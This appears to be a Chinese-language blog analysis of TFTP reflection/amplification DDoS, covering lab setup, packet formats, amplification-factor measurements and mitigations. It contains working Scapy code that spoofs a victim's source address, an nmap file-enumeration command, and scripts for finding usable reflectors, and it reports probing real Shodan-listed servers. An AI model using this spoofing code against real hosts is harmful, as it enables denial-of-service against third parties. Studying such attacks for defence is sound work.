TFTP反射放大攻擊淺析
0x00 前言
經由@殺戮提示,讓我看看softpedia上的這篇報導,我們就來研究一下文中的使用TFTP(Trivial File Transfer Protocol,簡單檔案傳輸協議)進行反射型DDOS攻擊。在報導的最後提到了Evaluation of TFTP DDoS amplification attack這篇論文,論文還是比較學術派和嚴謹的,其中使用GNS3和虛擬機器搭建模擬環境,儘量嚴格控制相關變數與不變數,對TFTPD32,SolarWinds,OpenTFTP三種TFTP伺服器進行研究。論文中還利用TFTP協議自身的缺陷來進行DOS攻擊,同時對DOS攻擊的反射因子,請求響應延遲,總吞吐量,CPU消耗率等方面進行了詳細的測驗與評估。
當然,自己實際地測試觀察TFTP反射放大攻擊的影響還是很有必要的。所以本文就在那篇論文的基礎上,利用Kali2等虛擬機器,對反射流量和反射因子進行檢測計算,適當探究相關的限制與利用。
0x01 TFTP服務搭建
DDOS是分散式拒絕服務攻擊,研究的基礎也就在於拒絕服務;論文中三種TFTP伺服器的測試也是為了相互對比參照,由於不同伺服器的特性不同而響應的行為也不同,其中的任何一種服務也具有通用的特性。所以為了方便驗證研究,我們就簡單地搭建在Kali2上搭建tftp服務(對於協議特點的學習,我比較喜歡直觀的辦法,搭建好必要服務後抓包看其資料包的結構),對其反射放大流量的利用進行測試,而暫且拋開分散式和其他型別伺服器的對比話題。相信這些都是見微知著的,也歡迎你進行其他方面的深入探究交流。
我們在更新源了的Kali2上進行tftp的安裝,詳細過程可見這裡和那裡。在Kali上自帶的有tftp客戶端,我們可以不用再進行安裝。其中主要使用了使用xinetd超級守護程式更加方便安全地管理使用tftp服務。最後在服務都安裝好後,測試圖如下:
在這裡值得一提的是,客戶端上鍵入?
發現有put
命令可以直接上傳檔案,但是會引發Error code 2: Access violation
錯誤。究其原因檢視man
手冊可知道,因為我們們之前在登入的時候沒有經過認證就可以讀取檔案,所以處於安全的考慮,只有檔案存在而且對於所有的使用者都可寫才能put
相應檔案,這一點也會成為之後攻擊的一個限制。
0x02 TFTP協議簡介
對於TFTP協議百度和WiKi也有比較詳細的介紹,這裡不多贅述。我覺得其中最需要理解的有以下三點:
- TFTP是基於UDP的,也就是沒有狀態性,其埠號為69
- 無認證過程(對源地址和目的地址均無)
- TFTP幾種不同型別的資料包在傳遞資訊時的互動過程
下面給出TFTP資料包的幾種型別:
TFTP Formats
Type Op # Format without header
2 bytes string 1 byte string 1 byte
-----------------------------------------------
RRQ/ | 01/02 | Filename | 0 | Mode | 0 |
WRQ -----------------------------------------------
2 bytes 2 bytes n bytes
---------------------------------
DATA | 03 | Block # | Data |
---------------------------------
2 bytes 2 bytes
-------------------
ACK | 04 | Block # |
--------------------
2 bytes 2 bytes string 1 byte
----------------------------------------
ERROR | 05 | ErrorCode | ErrMsg | 0 |
----------------------------------------
就拿A對S上的RRQ (read request)
檔案過程來演示一下,如下圖:
具體過程文字描述如下:
- A向S的69埠傳送RRQ資料包請求讀取檔案,其中包括檔名和傳輸使用的模式
- S再新開一個埠傳送DATA資料包開始傳輸檔案,其中Data段中包含著檔案內容,如果大於512位元組(預設值),就會進行分塊傳輸(對應標記Block的值),直到最後一次傳送的資料包Data段小於512位元組
- A在接收到DATA資料包後就向S傳送ACK資料包進行確認,其中的Block就為接收到的DATA資料包中的Blocak,然後S才會繼續發下一個Block的DATA資料包
- 如果S沒有接收到A的ACK資料包,S就會重傳剛才發過的DATA資料包
實際測試的抓包圖如下:
0x03 反射放大攻擊
反射是過程,放大是結果。對於拒絕服務攻擊來說,常用的方式有這麼幾種:1.濫用合理的服務請求;2.製造高流量無用資料;3.利用傳輸協議缺陷;4.利用服務程式的漏洞。TFTP反射放大攻擊就是利用了協議上的缺陷或者說是特性,其中關鍵點有二:
- 沒有認證過程,這樣就可以隨意登入讀取檔案,同時偽造源(攻擊目標)IP地址,為反射做好準備
- 之前提到的重傳機制,當服務端在沒有收到我們的攻擊目標的ACK包時,就會重傳一定的次數給攻擊目標,達到放大的目的
下面我就在本機上藉由Scapy偽造源地址資料包,向服務端(Kali2)傳送RRQ資料包請求get
伺服器上的檔案,進而將響應DATA包發射給目標機(XP),誘發重傳機制造成放大攻擊。利用Scapy如下:
#!python
>>> a = IP(dst='192.168.1.104',src='192.168.1.102')/UDP(sport=445,dport=69)/TFTP()/TFTP_RRQ(filename='larry')
>>> a
<IP frag=0 proto=udp src=192.168.1.102 dst=192.168.1.104 |<UDP sport=microsoft_ds dport=tftp |<TFTP op=RRQ |<TFTP_RRQ filename='larry' |>>>>
也還是有兩點需要說明,我們這裡偽造的源埠用的是XP SP3預設開啟的UDP埠之一(123,137,138,445,500,1900),當然你也可以用其他你在攻擊目標上掃描出來的埠;另一點就是為了達到放大資料包大小的最佳效果,我們這裡RRQ
的已知檔案的大小必須大於512位元組為好。三個主機在同一個網段下的測試結果圖如下:
在搭建傳統的LAN環境的時候,會要求TFTP伺服器對所有客戶端是可連線的,通常會將其拿來當做內部網路閘道器。如果這些TFTP伺服器同時暴露在外的話,我們就可以利用其在網路當中的角色加上對源地址無驗證的缺陷,對內網機器進行DOS攻擊。當然雞肋的會是我們不知道在內網當中有哪些機器,就算攻擊成功了,由於沒有回執響應,我們就不知道實際情況是如何而“盲打”一通了。在vbox當中建立一個內網環境,同時給服務端設定兩個網路卡,測試結果如下:
從以上的測試結果可以看出由於tftpd服務的特性,在服務端未接收到ACK資料包時,會預設進行5次重傳,並且重傳時間間隔(可設定)為5秒。對於不同的反射放大攻擊,例如Smurf,DNS,NTP,TCP-based,SNMP等反射放大攻擊,研究時通常會計算其中的反射因子/放大倍數作為相互比較的標準。在基於tftpd的TFTP反射放大攻擊中,這裡響應資料包大小總和比上請求資料包大小為:558*5/60=46.5
。為了簡單地對比一下,我還是在XP上下載了tftpd32,然後再去get
自帶的檔案tftpd32.chm
(其實在預設狀態下tftpd32是允許put
檔案的,但也可在Setting
中設定為Read Only
模式)。tftpd32的特性就是會重傳6次,時間間隔依次為1,2,3,3,3秒,最後還會傳送一個ERROR資料包。這裡拋開ERROR資料包計算反射因子的話就是558*6/62=54
。
在論文中的tftpd32版本可能有所不同,反射因子為59.78
,這個放大因子和其他反射放大攻擊相比較還是很可觀的:
0x04 限制及解決方案
在以上的測試過程中,對於TFTP反射放大攻擊利用的限制點主要有三點:
1. 獲取TFTP伺服器上存在的檔名
雖然伺服器端無認證過程可以隨意登入,但是無法列目錄,而造成反射的基礎就是需要服務端能夠傳送出DATA資料包。這就需要我們一個個get
測試看看TFTP伺服器上存在哪些常見的檔案了,我們可以對思科(廣泛使用TFTP服務)裝置檔案和其他你認為有可能存在的檔案進行測試。還好nmap在這裡給我們提供了一個tftp-enum.nse指令碼,可以如下使用:
#!shell
$ sudo nmap -sU -p 69 --script tftp-enum.nse --script-args="tftp-enum.filelist=customlist.txt" <host>
如果未加--script-args
的話,指令碼會預設呼叫tftplist.txt檔案去列舉可能存在的檔案。當然,tftp-enum.filelist
可以指定自定義的列表進行列舉掃描。測試結果示例如下:
論文當中說是有599600臺(2012年掃描結果)對外開放的TFTP伺服器可能會被用來進行發射放大攻擊,但在shodan上搜尋tftp
的結果也只有10w左右的樣子,可能有待進一步的掃描發現。以下是我在shodan中搜尋出的999個IP進行測試,其中有47個伺服器可以get
到預設的檔案:
2. TFTP伺服器上已知檔案的大小
反射過來的DATA資料包的大小取決於讀取檔案的內容大小,這樣就決定了我們最終反射放大的程度(相對於已知檔案的檔名長度——影響請求包大小)。如果DATA資料包過小造成的影響也就很有限的了。
3. 確定TFTP伺服器可利用
除了以上兩點,如果存在其他的過濾機制,我們最終就需要測試一下該TFTP服務是否可利用,在攻擊端偽造簡單的資料包觸發其反射到指定的主機上,程式碼如下:
#!python
#!/usr/bin/env python
#coding=utf-8
import optparse
import sys
import logging
from scapy.all import *
class Trigger(object):
def __init__(self, target, port, filename, server):
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
self.target = target
self.port = port
self.filename = filename
self.server = server
def run(self):
t = IP(src=self.target, dst=self.server)/UDP(sport=self.port, dport=69)/TFTP()/TFTP_RRQ(filename=self.filename)
send(t)
print '[+] The trigger has benn sent !'
if __name__ == '__main__':
parser = optparse.OptionParser('uasge: %prog [options]')
parser.add_option('-t', '--target', default=None,help='The ip of target')
parser.add_option('-f', '--filename', default='larry', help='The filename for RRQ')
parser.add_option('-p', '--port', type=int, default=2333, help='The src port of target')
(options, args) = parser.parse_args()
if len(args) < 1 or options.target == None:
parser.print_help()
sys.exit(0)
trigger = Trigger(target=options.target, port=options.port, filename=options.filename, server=args[0])
trigger.run()
在我們之前指定的主機上檢測一下是否有如期的DATA資料包到來即可,程式碼如下:
#!python
#!/usr/bin/env python
#coding=utf-8
import optparse
import sys
import logging
from scapy.all import *
class Sniff(object):
def __init__(self, port):
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
self.port = port
def run(self):
try:
sniff(prn=self.udp_monitor_callback, filter='udp', store=0)
except KeyboardInterrupt as e:
print '[+] Bye !'
sys.exit(0)
def udp_monitor_callback(self, pkt):
if pkt.getlayer(Raw):
raw_load = pkt.getlayer(Raw).load
if pkt[UDP].dport == self.port and raw_load[:4] == '\x00\x03\x00\x01':
print '[+] The server %s is available' % (pkt[IP].src)
sys.exit(0)
if __name__ == '__main__':
parser = optparse.OptionParser('usage: %prog [options]')
parser.add_option('-p', '--port', type=int, default=2333, help='The port from server')
(options, args) = parser.parse_args()
if len(args) > 0:
parser.print_help()
sys.exit(0)
s = Sniff(port=options.port)
s.run()
這樣一放一收就可以知道該TFTP伺服器是否可以利用了。
0x05 防禦及相關對策
- 雖然有些TFTP伺服器因為配置錯誤而暴露在外,但還是應該利用防火牆將其從網際網路上隔離
- 對流經TFTP服務的流量設定相關入侵檢測機制
- 將重傳(資料包)率設定為1,但還是需要和服務不可達的情況做一下平衡
- 簡化自定義錯誤訊息(有些tftp服務具有在重傳無響應後還會傳送ERROR資料包,間接將流量放大);記錄響應的日誌;限制請求資料包的數量
相關文章
- 淺談基於 NTP 的反射和放大攻擊2020-08-19反射
- DHDiscover反射攻擊:可將攻擊放大近200倍2020-11-05反射
- 淺析HTTP走私攻擊2020-06-27HTTP
- 淺析DDOS攻擊防護思路2019-10-22
- RPO攻擊技術淺析2018-04-11
- 應對UDP反射放大攻擊的五種常用防護思路2020-08-11UDP反射
- 淺析JAVA反射2019-03-03Java反射
- ZoomEye專題報告 | DDoS 反射放大攻擊全球探測分析2019-04-25OOM反射
- CDN流量放大攻擊思路2020-08-19
- 淺析Java反射--Java2022-03-25Java反射
- 服務端模板注入攻擊 (SSTI) 之淺析2020-08-19服務端
- 淺析HTTP資料接收不同步攻擊2020-04-16HTTP
- 盤點:常見UDP反射放大攻擊的型別與防護措施2019-09-23UDP反射型別
- 放大倍數超5萬倍的Memcached DDoS反射攻擊,怎麼破?2018-03-07反射
- 淺析.NET的反射特性2016-10-22反射
- iOS環境下的中間人攻擊風險淺析2020-08-19iOS
- 淺析java的反射機制2017-07-26Java反射
- 淺談DDOS中NTP放大攻擊的操作過程以及防禦措施?2019-07-12
- 淺談DDOS攻擊攻擊與防禦2012-07-26
- java中的反射機制淺析2015-06-05Java反射
- 基於TCP反射DDoS攻擊分析2018-06-06TCP反射
- CSRF 攻擊深入淺出2018-04-12
- 淺談CSRF攻擊方式2012-07-18
- NTP反射型DDos攻擊FAQ/補遺2020-08-19反射
- 解析利用BitTorrent發起DDoS放大攻擊的原理2015-09-07
- 淺談跨域WEB攻擊2017-11-16跨域Web
- 列舉單例模式如何防止反射攻擊2014-09-28單例模式反射
- 淺談DDos攻擊與防禦2018-06-23
- 反射型 DDoS 攻擊的原理和防範措施2018-04-20反射
- 【web安全】深入淺出XSS攻擊2019-05-02Web
- 淺談 CC 攻擊的防護方法2019-01-07
- 淺談HASH長度擴充攻擊2020-09-07
- 淺談資料庫的攻擊(轉)2007-08-11資料庫
- 一種產生 DSN 放大攻擊的深度學習技術2022-10-11深度學習
- 看好你的門-XSS攻擊(2)-利用反射型XSS漏洞 進行鍼對性攻擊2015-03-16反射
- 基於snmp的反射攻擊的理論及其實現2020-08-19反射
- 淺談 JavaScript DDoS 攻擊原理與防禦2015-05-17JavaScript
- 淺談JavaScript DDoS攻擊原理與防禦2015-05-18JavaScript